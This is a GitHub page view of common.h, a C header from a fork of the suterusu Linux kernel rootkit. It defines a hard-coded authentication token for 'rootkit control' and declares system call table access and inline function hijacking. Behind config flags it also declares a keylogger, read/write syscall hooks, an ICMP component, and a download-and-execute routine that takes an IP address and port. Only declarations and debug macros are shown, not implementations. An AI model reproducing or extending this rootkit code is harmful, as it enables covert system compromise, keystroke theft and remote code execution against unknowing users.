forked from mncoppola/suterusu
-
Notifications
You must be signed in to change notification settings - Fork 0
/
common.h
73 lines (60 loc) · 1.94 KB
/
common.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/slab.h>
#include <linux/list.h>
#include <linux/fs.h>
#define AUTH_TOKEN 0x12345678 // Authentication token for rootkit control
#define __DEBUG__ 1 // General debugging statements
#define __DEBUG_HOOK__ 1 // Debugging of inline function hooking
#define __DEBUG_KEY__ 1 // Debugging of user keypresses
#define __DEBUG_RW__ 1 // Debugging of sys_read and sys_write hooks
#if __DEBUG__
# define DEBUG(fmt, ...) printk(fmt, ##__VA_ARGS__)
#else
# define DEBUG(fmt, ...)
#endif
#if __DEBUG_HOOK__
# define DEBUG_HOOK(fmt, ...) printk(fmt, ##__VA_ARGS__)
#else
# define DEBUG_HOOK(fmt, ...)
#endif
#if __DEBUG_KEY__
# define DEBUG_KEY(fmt, ...) printk(fmt, ##__VA_ARGS__)
#else
# define DEBUG_KEY(fmt, ...)
#endif
#if __DEBUG_RW__
# define DEBUG_RW(fmt, ...) printk(fmt, ##__VA_ARGS__)
#else
# define DEBUG_RW(fmt, ...)
#endif
extern unsigned long *sys_call_table;
char *strnstr ( const char *haystack, const char *needle, size_t n );
void *memmem ( const void *haystack, size_t haystack_size, const void *needle, size_t needle_size );
void *memstr ( const void *haystack, const char *needle, size_t size );
void hijack_start ( void *target, void *new );
void hijack_pause ( void *target );
void hijack_resume ( void *target );
void hijack_stop ( void *target );
#if defined(_CONFIG_X86_64_)
extern unsigned long *ia32_sys_call_table;
#endif
#if defined(_CONFIG_KEYLOGGER_)
void keylogger_init ( void );
void keylogger_exit ( void );
#endif
#if defined(_CONFIG_HOOKRW_)
void hookrw_init ( void );
void hookrw_exit ( void );
#endif
#if defined(_CONFIG_DLEXEC_)
void dlexec_init ( void );
void dlexec_exit ( void );
int dlexec_queue ( char *path, unsigned int ip, unsigned short port, unsigned int retry, unsigned int delay );
#endif
#if defined(_CONFIG_ICMP_)
void icmp_init ( void );
void icmp_exit ( void );
#endif